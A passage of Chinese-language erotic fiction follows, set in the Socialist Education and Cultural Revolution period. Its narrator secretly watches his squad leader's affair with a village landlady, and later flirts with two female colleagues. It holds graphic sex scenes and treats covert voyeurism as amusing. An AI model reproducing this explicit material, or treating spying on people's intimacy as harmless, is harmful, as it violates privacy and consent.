  " 兄弟,俺是和老程说呢。" 大嫂紧跟着也站了起来说道。


  " 找我有事咱们明天再说吧。我们还得整理材料呢。" 分队长紧皱着眉头极

不情愿地说道。


  房东大嫂把我们送出门,就在我走出房门的一刹那,我好象听见房东大嫂悄

声地说了一句" 后晌到俺这儿来。" " 分队长,大嫂说什么 "我看了看分队长问

道。


  " 不知道。大嫂什么时候说话了 "分队长回答道。


  " 呦。我怎么好象听见大嫂说话了是我耳朵出毛病了 "我使劲揉着耳朵笑着

说。


  回到屋里分队长说:" 抓紧时间整理吧。把收尾工作作细,不能有什么遗漏。

" 我们把材料抱出来,一件件的清理起来。


  我一连打了好几个哈欠。分队长对我说道:" 小胡,你先睡吧。剩下的我整

理,明天你把我整理完的登记造册。" " 分队长,我先睡了啊。" 洗完脸我躺在

床上说道。


  不知过了多久我听见分队长轻声地叫我:" 小胡,小胡……" " 分队长,啥

事儿 "我迷迷乎乎的坐起来问道:" 噢,没,没事儿。你睡吧,睡吧。" 分队长

说道。


  " 分队长,您这是怎么了 "我嘟囔着又躺了下去。


  我听见分队长写着,整理着。又不知过了多久, "小胡……" 分队长叫道。

我一下醒了,这回我可没有动。我听见分队长在收拾床铺。" 小胡……" 分队长

又叫了我一声。我还是没有动。" 这孩子睡死了。" 分队长轻声说道。


  " 噗" 的一声,灯吹灭了,静了一会儿我们屋的门" 吱" 的一声轻轻的开了,

分队长悄声的走了出去。


  我一下坐了起来:" 那句话分明是说给分队长你听的。分队长怎么就死不承

认呢我倒要看看你们干什么 ". 我又一想:" 你不是看见过他们的事儿吗 "自从

搬进小院儿不知为什么我也有点喜欢房东大嫂了。分队长在屋,大嫂准来,分队

长不在的时候,她就在院儿里和我唠唠家常,问我城里姑娘,媳妇都穿什么吃什

么省城在她眼里就是个谜。听我说着,眼睛盯着一个地方愣神儿。有时帮我洗洗

衣服什么的。可好象总是和我保持一定距离。真有个意思。


  有一次大嫂问我,其实那是不久的一天早上,分队长出去办什么事儿去了:

" 小胡,你老程嫂子啥摸样人是不是俊着呐是干啥的呀 " "是小学老师。带个眼

镜。个儿挺高的。" 当时我还想问那么仔细干嘛大嫂听得还真认真。


  我常想:大嫂她是不是就喜欢城里人我们工作队里有比分队长长的好看的,

大嫂怎么都不喜欢没错。可能大嫂就是喜欢上分队长了,您还别说分队长一米八

的个儿,浑身楞子肉。应该说是健美型的。听说分队长打过专业队,运动员的身

子板儿。好象有使不完的劲儿。嗯。这样的男人女人都喜欢吧。我摇了摇头,还

是悄悄地出了屋,轻轻地走到大嫂的窗根儿下。


  " 咋才来呢 "大嫂轻声问道。


  " ……". "快上来吧。" 大嫂说道。


  " ……" " 还穿着干啥脱了,都脱了。" 又是大嫂的声音。


  我听见唏唏嗦嗦的脱衣服的声音。


  " 哥。想死俺了……" 还是大嫂的声音" 啧,啧……" 他们在床上翻滚时发

出的声响。


  " 你亲的俺都喘不过气来了。" 大嫂轻声说道。


  " 啥时候回城 "过了一会儿大嫂把灯点着问道:" 点灯干嘛。" 分队长的声

音。


  哈。分队长您总算是出声了,我心里想着,差点笑出声儿。


  " 俺想看着你。" " 你咋也不跟俺说一声 "大嫂问道:" 小胡不是告诉你说

了吗 " "那不算。俺想让你亲口告诉俺。" " 谁说不一样。哎——,刚才你怎么

当着小胡的面说叫我来呀他好象听见了。" 分队长埋怨道。


  " 是吗看你刚才的样儿,俺……俺是怕你不来。一着急只能说了。" " 你不

叫,我也会来的。你说,长禄不在家,我那次没来 "分队长闷声回答道。


  " 那道是。" 妈呀!分队长赶情没少往这儿跑啊。


  " 你们还回来不 " "不知道。兴许能回来吧。" " 别骗俺了。俺知道你们这

一走就回不来了。大嫂停了一会儿又说:" 哥,你走了俺可咋办呀 " "你将来和

长禄生个大胖小子,好好过日子。再说长禄我不是都安排好了吗你们以后的日子

就好过了。手里有了这印把子,就什么都有了。" " 俺就是舍不下你。" " 我也

舍不得你。咳。我们也没办法。咱是当兵的,军令如山倒呀。" 停了会儿分队长

说道。


  " 真邪性啊,你说咱们俩怎么能到一块儿 "又停了一会儿分队长问大嫂道:

" 是你勾引俺。" " 你们村儿妇女多了,我怎么没勾引别人,单勾引你是你上赶

着找我,非让我上你的炕,怎么是我勾引你呢是你勾引的我。" " 别说的那么难

听,俺的炕你就不想上城里人俺是见的不多,工作队那么些个人俺不知咋的就是

相中你了。你第一次串户到俺家,俺都不敢着眼瞧你。" 大嫂说着。


  " 怕我 " "有点怕。可总管不住自己要看你。看你那眼神儿,就象有团火,

能把俺化了,又象能把俺吃了。你看人能看进人的肉皮里去。看得俺怪臊的。俺

刚一抬眼看你,就看见你正盯着俺呢。俺那心呀就" 砰,砰" 乱跳。你跟长禄说

是找搭伙户的。俺就知道村儿里那么多户,你们一准会到俺家来吃饭。真是比写

的都准。" 大嫂说着。


  " 那你现在还怕吗 " "不怕了。" " 哥。你是不是一进村就喜欢上俺了 " "

你怎么猜出来了 "分队长问道。


  " 俺就是猜得着。" " 是啊。进村儿开社员大会时,我发现你就坐在我眼前,

俩眼盯着我看。我就想:" 这个小美人坯子是谁呀是咱这个小队的 "但不知是谁

那么有福气家娶了你这么个漂亮的小媳妇。说什么我也得把你找到。你想呀,这

点事儿能难住我吗我挨户查,进门找,你说你能跑得了吗 " "你说俺俊那——你

说俺和你屋里的谁俊 "房东大嫂兴奋地说道。


  " 别瞎比。我说你长的不丑,挺漂亮。你跟她比个什么劲哎,你还记得不每

次开会你总是第一个来,坐在离我最近的地方。也不知道你听不听得懂总是傻呆

呆地看着我。散会你也总是最后一个回去。是不是你也想和我多呆会儿散了会,

你站起来一走哇,胸前的那对大奶子一跳一跳的,真惹人眼。我就想什么时候能

摸上一把。" 分队长没有说错,房东大嫂胸部真是一流,浑圆高耸,象是要从衣

服里跳出来似的极有弹性。


  " 你真坏。你还没摸够哇 "房东大嫂矫羞地说道:" 这还有够 " "先听俺说。

那天散会大伙儿都走净了,俺站起来刚要走,天上响起了闷雷,下起了雨,那雨

下得那叫急。俺想:" 坏了,俺可咋回家呢 "在屋里抓了个尿素袋子顶上就想往

家跑。你一把把俺拽住,可把俺吓着了。不知你要干啥俺看见你眼里直冒火。"

我送你回去吧。" 你说:俺没敢吱声。你把雨衣给俺披上。俺只能顺着你的心思

走。过二道沟时,你先迈了过去,俺也跟着迈了过去还没站稳,你就势把俺一把

抱住,抱的那个紧呀,俺都软瘫了,你使劲亲俺的嘴,胡茬子扎的俺怪刺痒的。

你让俺张开嘴把舌头给你,你把俺的舌头吸到你嘴里,拼命嘬着。嘬地俺疼了好

些日子。你告诉俺这就叫接吻,城里人就兴这个。俺就想:' 雨呀。千万别停,

就这么一直下着。俺真想就这么让你一直抱着别撒手。一直亲着别停口。' 你那

地方老硬老硬的,顶的俺肚子生疼。哎——。俺有你真是知足了。" " 知足就好。

那时候长禄可真是落后,叫他开会怎么叫都不来。总在家睡觉。是不是睡足了觉

折腾你 " "叭" 的一声,不知是谁打了谁一下。可能是大嫂吧!


  " 可有利的事儿落不下他。那回大队修水渠他非吵着要去,挖水渠给的工分

高还有补助。你瞧他跳的比谁都高,没他,谁也甭想去。最后不还是依了他。让

他去了。" 分队长接着说道:" 那死鬼头里刚一走,你就到俺院儿跟俺说:" 晚

上要来俺这儿拿点热乎水。" 让俺烧,俺寻思着你要水一准是假。找俺才是真。

让那死鬼去这准是你算计好的吧 " "那还用说。……" 分队长得意地说道。


  " 水俺早早地就给烧好了。可左等不来右等不见,俺躺在炕上直生闷气:'

说好的来,咋就不见人影。' 刚下炕就看见一个人影站在堂屋里,先是吓了俺一

跳。后来俺知道是你来了,咋没听见动静就进来了你没吱声走了过来,把俺抱了

起来放在炕上,俺手脚冰凉,直哆嗦。你呀胆儿可真大呀。" " 嘻,嘻……" 分

队长笑着。


  " 你说是不是你勾引的俺 " "就算是吧。" " 你喘着粗气三把两把把俺的衣

裳撕巴干净,俺还没有回过神儿来,你把俺的腿劈开,一下就杵了进来,怎么进

去的俺都不知道。就觉得热乎乎的又粗又大。把俺塞的满满的。" " 舒服吗 "分

队长问道。


  " 俺都没了魂了。顶的俺里边又酸又麻。哎——跟死了一样。" " 其实俺也

想让你勾引。" " ……。" 半天没有动静。


  我慢慢凑到窗子边,看见房东大嫂躺在分队长怀里,他们都脱的光光的,手

在对方的身上相互摸着。


  分队长咬着大嫂的耳垂儿,手揉着大嫂的乳房," 咯,咯……" 房东大嫂笑

出了声。


  这就是我夜里常听的那种笑声。


  " 痒——。哥,快给俺吧。" 房东大嫂轻声催道。


  " 行。就让你再死一回。" 说着分队长从衣袋里拿出一个小塑料袋。将安全

套外皮撕开,拿出来往已经坚挺的阳物上套去。


  " 那不是安全套吗 "这就是我看见的那个东西。


  " 别用这东西成吗 "大嫂说道。


  " 不用它能怀孕。" " 俺不管。用它不舒坦。" 说着从黑粗的阳具上把安全

套拿了下来。


  大嫂不容分队长反应,翻身坐起,将两腿分开,手扶着分队长黑粗的阳具对

准自己的下身慢慢坐了下去。


  " 咦呦……" 分队长舒服的叫出了声。两手抓住大嫂胸前那对硕大的乳房在

粉红的乳头上揉捏着。


  我一下坐到窗跟下,真奇怪我怎么也硬了起来。而且一跳一跳的,涨的难受。


  " 哥,哥——" 大嫂颤声的叫道。


  " 哥,哥——俺要死了。" " 我来吧。" 过了一会儿分队长好象换了个什么

姿势接着说道:" 舒服吗 " "舒服,舒服死俺了。哥,你使点劲儿。嗯——" 大

嫂哼着。


  " 哥吔——,别停下,别,别……俺受不了了。" 房东大嫂忘情地大叫。


  " 你别叫哇。让人听见。" 分队长忙用手捂住房东大嫂的嘴,小声地说道。


  " 俺顾不了了。" 房东大嫂气喘嘘嘘的说道。


  " 来。你趴着。这样更舒服。" 分队长说道。


  这可能就是上次看到的那个样。


  " 哥,你怎么弄俺都舒服。" 大嫂说着。


  不知过了多长时间,突然听到分队长叫了一声:" 我要出来了。" " 出吧,

出吧。别,哥,别拔出来,让它流在里边。" 大嫂喘着气忙说道。


  " 啊——。" 又是分队长的呻吟声。


  " 这样一来准能怀上孕。这还了得 "过了一会儿听见分队长说。


  " 那有啥。" " 我城里有家小,将来不好说。以后你们要是到城里一闹我怎

么工作啊 " "俺不管。俺就是要留下你的精血。" " 俺要是有了你的孩子多好呀,

也就什么也不想了。真要是有了咱俩的骨肉日后也就有个念想喽。看见孩子就是

看见你呀。" " 你真是瞎胡闹。" 分队长有些急了。


  " 哥,俺想好了,今生今世俺就养着咱们的这个孩子。" 大嫂平静地说道。


  " 你……" " 是不是俺的身子不配怀上你的种 "大嫂问道。


  " ……" " 亲哥耶,你就成全了俺吧。" " 哥。你放心,俺不会到省城找你

闹的。不会给你添麻烦。" 大嫂安慰道:" 哥,你还跟你屋里的过。俺还在这儿

守着那死鬼过。俺不麻烦你。行不 "半天没听见分队长的声音。


  " 哥,你睡了吗 "过了一会儿听见房东大嫂轻声说道。


  " 没有。我歇会儿。" 分队长说道。


  " 俺就想跟你拉拉呱。" 大嫂说道。


  " 嗯。你说吧。" 分队长应着。


  " 那天回来俺一宿没睡……" " 哪天 " "就是下雨那天。俺心想:' 你一准

会找俺来的。真的。你一准会找俺来的。' 真就灵验了。再看看俺旁边那死鬼,

就知道打呼噜。俺真是受够了。" " 你们不是也挺好的吗 " "好啥那死鬼每天都

爬到俺身上瞎折腾,好不容易塞进去没两动下就流了。他完事儿了不是掐俺就是

咬俺,哥,你说说俺受的是啥罪那死鬼别看他傻大黑粗的,可那东西又细又小。

怎么长的你说这事儿俺能跟谁说不自个儿忍着 " "长禄真不行吗 "分队长问道:

" 他哪儿有你行啊。你都能杵到俺嗓子眼儿上。" " 瞎说。村里都知道吗 "分队

长问道:" 他不说俺不说谁能知道。可村里都说是俺的事儿。说俺有病,长禄娘

说了:' 俺再怀不上就把俺休了。' 俺这身子给了他真冤呐。" 房东大嫂说道。


  " 给我就不冤吗 "分队长问道。


  " 不冤。你让俺也真正作了一回女人。" 大嫂说道。


  " 哥——" " 什么事儿 " "再给俺一回吧。" " 还来呀 " "你们快走了,咱

们弄一回少一回。" " 我明天一早就让小胡到公社送材料,咱们有一整天的时间

呢。" " 明天俺要,今天俺也要。求你了,哥,再给俺一回吧。" 我站了起来又

往窗里望去:分队长用嘴叼住大嫂粉红色的乳头吮吸着。手向大嫂胯间摸去。不

一会儿大嫂就发出急促的喘息声,大嫂高高地抬起雪白的双腿,等待着,分队长

一跃而起,猛的趴了下去,狠狠地将粗黑巨大的阳物插进大嫂的身子里。疯狂快

速的扭动着,床第间发出" 唧唧" 的响声:" 哥啊——杵死俺吧。" 大嫂哀叫着。


  我又一屁股坐了下来。嘴发干,心一个劲儿的猛跳。" 甭这儿傻蹲着。回去

吧,看这个伤神。干这种事儿也就这么回事儿。明天不知还有啥事儿等着呢对了,

分队长刚才不是说了吗,让你到公社送材料。" 我悄悄地回到屋里,捂着发烫直

挺的尘根睡了。分队长什么时候回来的我一点也不知道。


  我不是偷窥狂,只是觉得新鲜。看分队长还是大嫂我自己也说不清。可能是

爱看大嫂吧。爱看她如痴如醉的神情。真没出息。


  天亮了,我起来看见分队长还在睡,没叫他,把分队长整完的材料登记完毕。


  " 什么时候了小胡,你怎么也不叫我。这多耽误工作呀。" 分队长翻身坐了

起来说道。


  您瞧,分队长可不是昨天晚上的样儿了,又是一脸的正型。


  " 您昨晚忙了一夜,那么累,应该多睡会儿。" 我说道。


  您说我这瞎话编的,马屁拍的有水平吧" 小胡,你赶紧把材料送到公社去。

他们等着要呢。" 分队长吩咐道。


  得!分队长一睁眼就把我发出去了。


  " 那我中午可能就回不来了。" 我说道:" 你去吧。甭那么着急,办完了事

儿再回来。" " 小胡,你叫老程吃饭了。" 听见我们屋有动静,大嫂在窗根儿下

叫道:" 大嫂,分队长昨儿晚上一夜没睡,您就让他多睡会儿。" 我说着走出屋。


  大嫂脸一下红了,忙说:" 小胡,你咋知道老程一宿没睡 " "分队长跟我说

的呀 " "老程说的 "大嫂吃惊的问道。


  " 是啊。分队长亲口跟我说的。" 我成心要逗逗大嫂说道。


  大嫂睁大了眼睛看着我。


  " 他说他呀,整——材——料——呢。怎么了大嫂 "我装傻的说道。


  " 没啥。" 大嫂松了口气没再往下问。


  我一直笑着看着大嫂,看得她不自然起来:" 兄弟,你看啥呢 " "看你呐。

大嫂,你今天真好看。" " 是吗哎,真是个傻兄弟——。" 大嫂用手摸摸脸,脸

红的跟什么是的,一扭一扭地赶紧忙别的什么去了。


  我真的挺喜欢她叫我傻兄弟的,那声音酸酸的,甜甜的。


  我们正说着分队长走了出来说:" 小胡别瞎贫。大嫂,你一会儿到我们屋来,

咱们把帐结了。" " 哎——" 早饭又有旦花儿汤,赶情这旦汤是有原由的,闹了

半天我是跟着吃蹭儿呀吃完饭我背起书包拿着材料到公社去了。这个村儿从来就

没有串门的习惯。也从不进别人家的院儿互相串门儿。这可能是老尼姑们留下的

规矩。" 大嫂啊大嫂。你总叫我傻兄弟,应该叫你傻大嫂才对。反正今天我一天

不在家,你们就可着劲儿的折腾吧。" 我心里想着。


  我想着夜里分队长和大嫂的对话,我总觉得分队长不是真心的,我说不出理

由,但我知道我们走后分队长肯定把她忘了,你信不反正我信。


  几天后我就到公社集中去了,分队长在我走了以后两天也下山了。


  " 分队长,大嫂她好吗 "见了分队长我兴奋地问道:" 嗯。" 分队长没有回

答。


  我看了分队长一眼也没有再问。


  队里的同志们一年多没见了,一见面又是说又是笑,开心极了。大家都忙着

准备回城。


  返城的日子终于到了。在我们撤离的当天,公社干部,工作团的同志们都到

街上欢送我们回城。就在汽车开动的刹那间,我看见大嫂在街口张望,她找见了

坐在车里的我,招了招手,可眼睛还再找。我知道她在找分队长。分队长其实早

早的就坐到车里了。我悄声告诉坐在我身边的分队长:" 大嫂来了。" " ……。

" 分队长没有回答也没有动,连头都没回。


  汽车在欢送的人群中慢慢开着,我看见大嫂在人墙后面跟着我们的汽车跑,

一边跑一边用手擦着眼泪。可能是没有最后看一眼分队长吧。


  我探出身挥着手喊道:" 大嫂回去吧……。" 随着我的喊声,车内的人都往

外看。


  " 小胡,你和你们房东大嫂还挺有感情嘛。" 同车的其他同志哄笑着说道。


  " 不是……" 我想解释,一想:" 算了,反正跟我没什么关系。" 就没想辩

解什么,便一屁股坐了下来。


  有的人咬着耳朵还坏笑,准是他们看见大嫂追车时跳动的硕大胸部。这帮坏

旦!


  在大家的哄笑中我坐了下来,看了分队长一眼。分队长眼睛向前面看着,目

无表情。看来他们的关系真是到了划句号的时候了。


  " 大嫂呀,你真傻。" 我心里想着。


  大嫂的身影慢慢地消失在汽车扬起的尘土中……


  (三)


  回城几天了。街上乱轰轰的,高音喇叭发出" 造反有理" 的歌声和口号声,

墙上贴满了大标语:" 打倒党内最大的走资本主义当权派" ," 挖出毛主席身边

的定时炸弹" ," 打倒刘少奇" ,这刘少奇不是咱国家主席吗他想把毛主席整掉

想篡位不能吧街上疾驰的"581" 三轮卡车上一群身穿黄军装,手拿武装带的年轻

后生押着头戴纸帽子满脸是血的老人,老人胸前挂着一块牌子,名字倒着写还打

了个大大的红叉子。抄家,造反,打倒走资派。一时间街上乌烟瘴气。谁都不知

道这" 命" 啥时候会革到自己头上。上级要我们把" 论***员修养" 一书上交。

我真不明白,几个月前这本书还是我们工作队的必修书,今天就成了大毒草了破

" 四旧" :该砸的不该砸的一律砸。该烧的不该烧的一律烧。该斗的不该斗的一

律都斗,只要开斗一律挂上大黑牌子,戴上纸帽子。乱了,乱了,天下真是乱了。

眼前发生的这些事儿真把我们弄蒙了。上级又立即让我们团领导组织我们大家学

习***的" 湖南农民运动考查报告" 中的" 糟得很和好得很".痞子们就是要在

地主老财们的牙床子上折跟头。这是大好形势的表现。硬让我们说形势大好,不

是小好。这不是睁着眼说瞎话吗可又要求我们不能外出,只能在营区里活动。大

好形势为啥不让我们体验一下呢我真想回到村儿里,虽说干活累点,脏点,苦点,

可没这些个烦心事儿,我不由的又想起房东大嫂,想起她追车时那凄憷的眼神,

想叫又不敢叫的神情,大嫂啊。分队长真的把你扔到脑后了。" 哎,大嫂你现在

干什么呐你好吗 "分队长整天忙着," 社教" 对他来说已成历史。


  我们平静的日子没过多久,我们单位也宣布开展" 四大" 运动,原来在一个

队里生活,工作几十年的同事,转眼间变成水火无不容,你死我活的对立面,我

真是不理解。分队长找我谈了几次话,说我不积极参加运动。" 您说我才刚来几

天,一参加工作就到农村,队里的人还认不全呢,您让我揭发谁呀我揭发您老人

家行吗 "我想道,没吭声。


  社会上风起云涌,我却窝居在斗室中。除了早晨和大伙儿一起出操,一天三

顿在食堂吃饭,剩下的时间就在屋里看书,窗外的事儿一律不介入。在队里我慢

慢变成大家说的" 逍遥派" 了,由于认识上的不同,队里分成若干的造反队,什

么" 红卫东战斗队" ," 捍东彪造反队""舍得一身剐敢死队" 真是五花八门什么

都有。您说我是什么队呀别急,逼急了就成立一个" 一根草战斗队" 您说行吗我

们队拢共六十几个人,四个分队。还成立了六,七个战斗队,都是平时不错的人

聚在一起,您说这不是闹吗让我和分队长在一起成立个什么队呀没想过。全队三

个女同志,一个结了婚,一个有对象没结婚,一个因为条件高没找着一直跑单帮,

跟我一样是" 独立大队".剩下的都有了自己的" 组织".全队除了每周一次的集体

学习外,大家都在忙自己的。家属区和我们的办公区在一个院儿里。老同志的夫

人们大多都来自农村,很少有几个正经上班工作的。洗衣作饭,扎堆聊天,扯闲

篇儿,传闲话,晒太阳是她们生活的全部,院儿里整天孩子哭老婆叫,真够烦的。

您说这儿那象部队呀。这真和我想象的太不一样。不过真正的连队生活咱也受不

了,得。就这么凑合吧。


  " 小胡。" 随着叫声小王已经推门走了进来。小王就是我们队三个女同志中

的一位,也就是有了对象没结婚的那位。


  " 够闲在的。干什么哪 " "没事儿,拿本书瞎看呗。" 我说着从床上坐了起

来。


  " 我看一眼行吗 " "……" 我看了小王一眼没有说话。


  " 你看的是不是毒草要是毒草我可采取革命行动了。" " 我看的不是毒草,

是我带来的书。" " 肯定是封,资,修的书。" " 哎呀!不是呀。是我的业务书。

" 我有点不耐烦地说着。


  " 拿来。我审查审查。" " 给你。给你也看不懂。" 说着我把书扔了过去。


  " 嗯。还真看不懂。还你。" 小王翻了几下把书又给我扔回到床上接着说道

:" 姐跟你闹着玩儿呢。急什么嘛。" 我看了小王一眼说道:" 您要是老这么一

惊一诈的谁也受不了。没病也能吓住毛病来。" " 你不至于这么脆弱吧 "小王笑

着说道。


  我笑了笑没在说什么。


  " 你坐呀。怎么我一来你就站着啊。也不知道让人家坐下。哎——,老一个

人在屋里闷着,烦不烦呐。走!没事儿到俺哪儿串个门。" " 不好吧!" 我小声

说道。


  " 那有啥 "小王满不在乎地说道。


  " 让人看见影响多不好呀。" 我说道。


  " 你这孩子怎么这么复杂。" " 我可真的不复杂。我是不想给你找麻烦。"

我说着看了她一眼。


  屋里的气氛一下就冷了下来,谁也没再说话。


  小王属于娇小的那一类,身材匀称,女人味儿特足。挺招人热喜欢的。走起

路轻轻的象一阵风,一会儿飘到这儿,一会儿飘到哪儿。我还真喜欢她的这种混

不吝的劲头。可惜有主儿了。


  " 常听人说:' 京油子;卫嘴子' 说话不好听。可我怎么就爱听你说北京话

呀。" 小王说道。


  " 是吗我和别人没什么不同呀 "我笑着回答道。


  " 反正不一样。" " 那我就常跟你说说北京话。你到时候可别嫌贫。" " 不

会的".说也奇怪,从这以后小王还三天两头的就往我屋跑,跑的还特勤。也没什

么正经事儿,瞎贫一会儿就走。真拿她没辙。不过每次她来我都放下手里的事儿,

陪她聊会儿,从没烦过。


  八月的济南真能把人热死。坐着不动就一身汗。躺在床上没一会儿凉席上就

是一个人形的湿印儿。真是个火炉子。这鬼天气能把人整死。晚上看完书打盆水

把身上的臭汗洗净,再把席子擦擦。这天就算结束了。这也是我的习惯。队里你

贴我的大字报,我揭发你的问题。还真挺热闹。我是刚来的,也的确不了解队里

过去的情况,没人顾得上我,我也真乐得有一份没有人打扰的清静。


  象每天一样我打好洗脸水准备做完一天最后的一件事儿。脱了衣服要刚洗,

门好象动了一下,我回了一下头,什么也没有:" 我忘了锁门了刚才打水的时候

院儿里都黑灯了,不会有人吧!" 我想着继续擦洗着。


  门又动了一下,我放下手里的毛巾朝门走去。


  " 到我屋来一下。" 一个轻的不能再轻的声音说道。


  " 谁 "门开了。小许走了进来。我下意识地赶忙抓起裤子挡在前身。


  " 怎么会是她 "我吃惊的想道。


  " 到我屋来一下。" 小许轻声的说道。


  " 有事儿吗 " "……" " 你就过来吧。" 停了一会儿小许又说道。


  " 她找我干嘛。我又跟她不太熟。再说了有什么事儿不能白天 "我想道。


  看到小许一直盯着我,眼神柔和却透着坚定。我知道好象没有任何商量的余

地。


  " 好吧。穿上衣服我就来。" 小许就是三个女同志中唯一结婚的那一位。她

就住在我隔壁的那两间屋里。听说她先生是她大学同学。她们家的窗廉好象从来

没有打开过,平时也没有一点响动,悄悄的来又悄悄的走真是挺神秘的,在队里

我从来没有和她说过一句话。也没太注意过她。有时我发现她很专注地看着我,

我一看她,她的眼睛马上就会转到另一边。神态自然极了,别的人决计看不出来

她在注意看着什么。这人真是个怪人。


  我刚伸手,门就轻轻的开了。


  " 进来。" 小去轻声说道。


  " 辛老师不在啊 "可能是受环境和小许的影响我说话也变得轻轻的了。


  " ……" 小许一直没有出声,伸手示意让我坐下,好像也不愿意让人知道似

的。眼睛还是那么专注地看着我。


  我听得见墙上的挂钟" 哒,哒" 的走着。我坐在椅子上,没一会儿我衣服就

全贴在我身上了。汗顺着我的脖子往后背流。得。刚才白洗了。


  " 你紧张什么呀来,擦擦。" 小许说着拿起一块毛巾走到我的跟前。


  " 没紧张……" 我有点结巴地说道:毛巾白白的,有一股淡淡的粉香味儿,

可能这就是女人们特有的味道吧怎么特象房东大嫂脸上擦的粉味儿呀嗨,真是,

怎么总是想起房东大嫂" 您找我有事儿吗 "一边擦汗我一边轻声的问道:" 也没

什么事儿,就是想和你聊聊。" " 啊 "我瞪着眼睛看着小许。心想:" 您费这么

大劲就是聊聊天儿呀!不过也是,不聊天能干嘛 " "我看你除了在食堂吃饭,整

天闷在屋里都干些什么呢 "小许笑了一下问道:" 看书,睡觉,还有……" " 队

里的事儿你就一点也不关心吗 "小许没让我说完接着问道:我发现小许眼睛不大,

带上眼镜挺文气。尤其抿嘴一笑还真挺好看。屋里灯很亮,小许的一口白牙格外

显眼。


  " 我对这些没兴趣。你打我一下,我咬你一口,你贴我一张大字报,我揭发

你一条罪状。您说有意思吗老百姓别跟自己过不去。大家都不容易。再说我不了

解情况,刚来部队没几天就去了农村,这不,刚回城没几个月,您说我该怎么关

心啊 " "有道理。没想到你看问题蛮深刻的嘛。" " 您别夸我。" 是不是队里派

她来调查我呀我一下变得警觉起来。没在吭气。


  " 我没别的意思。真的。" 看着小许一脸的歉意。我知道她不是有意要查问

我。


  " 我注意你好长时间了。就是从回城前在工作团集中的时候。" 小许接着说

:" ……" 我看着小许等着她继续说。


  " 我发现你和其他一起分配来的新同志不太一样。你生活的很有规律,每天

都是按照一种模式生活。与事无争。总是那么平合……" 小许挪了挪身子说道:

" 是吗 "我反问道,我看见小许鼻尖上沁出细细的汗珠。


  " 给你,你鼻尖上都是汗。" 我把手中的毛巾递了过去。


  小许默默地一笑接过毛巾看了我一眼说道:" 毛巾都让你捂热了。" 我不由

的抬起头看了看墙上的挂钟。


  " 怎么你这就想走呀我好多话还没说呢。" 小许惋惜地说道:" 太晚了。"

" 你平时几点睡 " "不一定,有时侯早,有时候就特别晚。" " 再坐会儿行吗刚

十二点多一点。" 看我有些犹豫,小许没有再坚持。


  " 那好吧。你明天还能到我家来吗 " "什么时候 " "和今天的时间一样。"

看着小许的眼睛,我原想坚持的事儿不知怎的怎么也坚持不住了,同时也想知道

她对我什么感兴趣:" 那好吧。" 说着站了起来。


  " 小胡……" 当我走到门口小许叫了我一声,朝我走了过来,在我的额头上

轻轻地吻了一下。


  " 明天一定来啊。我等你。" 声音还是那么轻。门又无声的关上了,灯也随

着灭了。


  " 天呐。这是怎么啦 "回到屋里我发现手心里全是汗,这突如其来的事情真

把我给吓着了。躺在床上翻来覆去地睡不着。起来把每天必须完成的一百个伏卧

撑又照样做了一遍。不行。还是睡不着。


  " 咱真是夹着尾巴做人,处处小心,怎么还是招惹上人了 "躺在床上我怎么

也屡不出个头绪。房东大嫂的脸时不时地出现在我眼前,可小许怎么也构勒不出

一个完整的形象。刚才小许的的确确是在我头上亲了一下。额头温暖的感觉依然

存在。真是有点太突然了。


  长这么大还真是头一次睡不着觉,瞪着房顶直发愣。


  得!我失眠了。


  早晨出操没看见小许。直到晚饭时侯才看见她拿着饭盆儿默默地走进来饭厅

打饭。我偷偷看了她一眼,发现她一直在盯着我,那眼神好象在问:" 今天晚上

来。没忘吧 "我赶紧把头扭到一边。心" 砰,砰" 跳个不停。饭呛了我一下,我

不停的咳嗽,脸都憋红了。


  " 怎么啦慢点吃。没人抢你的。" 小王端着饭盆走过来捶着我的后背说道:

" 没事儿,就是饭进错了胡同。应该进食管儿,可它进了气管儿。" 我说道。


  " 你说你忙的是啥 "抬起头再看小许,她已经走出了饭厅。


  " 哎呦——" 我长长的出了一口气。


  " 怎么拉 "小王疑惑不解地看着我。拉开凳子坐在我旁边慢慢的吃着,饭怎

么吃下去的我真不知道。


  " 今天晚上我该怎么办 "我问自己。


  " 哒,哒" 我第一次敲了小王屋的门。


  " 进来。" 我推开房门走了进去。


  " 你怎么来了稀客。不怕影响不好啦 "小王笑着说道。


  " 我……" " 快坐吧。别我,我的。" 看来小王显得很高兴。


  我看见小王只穿着一件衬衫,袖子挽得高高的,脖颈从敞开的领口看去真是

挺白的。腰带鋉得紧紧的,胸高,腰细,胯大,腿长。真没想到她身材这么好。

可能是肥大的军装给遮住了的原因吧平时还真没看出来。


  " 看什么呐 "见我看着她打开的领口处,小王脸一下红了。问道:" 没有啊。

" 我赶紧收回眼睛。


  " 找我什么事儿 " "也没什么事儿,我就是想到你这儿坐会儿。行吗 " "请

你多少次就是请不动。不理你吧,自己到来了。真是牵着不走打着倒退。你先坐,

我一会儿就弄完。" 我看着她在屋里忙忙碌碌的擦这儿弄哪儿。小王的屋干干净

净的,不过一看就是单身女人的房间。为什么我说不清,反正和小许家不一样。


  小王一直忙碌着。


  " 可能她不会发现我一直盯着她看吧! "我想着。一直偷看着小王。


  " 喝水吗 "小王没有停下手里的活儿突然问道。


  小王突然一问,吓了我一跳。我忙收回眼睛一脸尴尬的忙说道:" 不渴。"

" 别老盯着我行吗,我后背直发凉。" " 谁看你了,我看墙上的语录呢。" 我违

心的说道。


  " 言不由衷。你呀,思想意识有问题了。还不承认。" 小王没有了平日嘻嘻

哈哈的神情。好象脸上的肌肉都僵在了哪儿,用一种古怪的眼神看着我说道。


  " 我赶紧走吧,省的人家把我当成流氓了。" 一种被人揭露的狼狈使我感觉

不能在呆下去了,想着忙站了起来。


  " 你呀,哼……你干什么我知道。" " 我干什么了 "我硬着嘴反问道:" 你

干嘛老看我 " "你怎么知道我看你你后背又没长眼睛。" " 女人的直觉。" " 想

听吗 " "……" 小王瞪着眼看着我,等着我的回答。


  " 小王,我从来没发现过你好看。你真的太好看了。" 我自己不知道这话是

怎么说出来的,赶紧往门口走去。


  " 讨厌。" 小王噗哧一笑跑过来拧了我一把。


  " 哎呦。真的。我说的是实话。" " 傻兄弟,别胡说了。" 小王脸又一红,

用手把掉下来的头发用卡子别了回去说道:真怪。她怎么和房东大嫂一样也叫我

傻兄弟,但我知道她心里高兴着呐。


  " 您是名花有主的人了。咱们已经没有任何希望了,还不兴赞美一下。" 可

能是我把一直想说的话说了出来,也可能是这一段比较熟识了的缘故。嘴就没了

遮拦了。


  " 你呀……就会贫。" " 我不是就跟你一人贫嘛。" 我回头说着跑了出去。


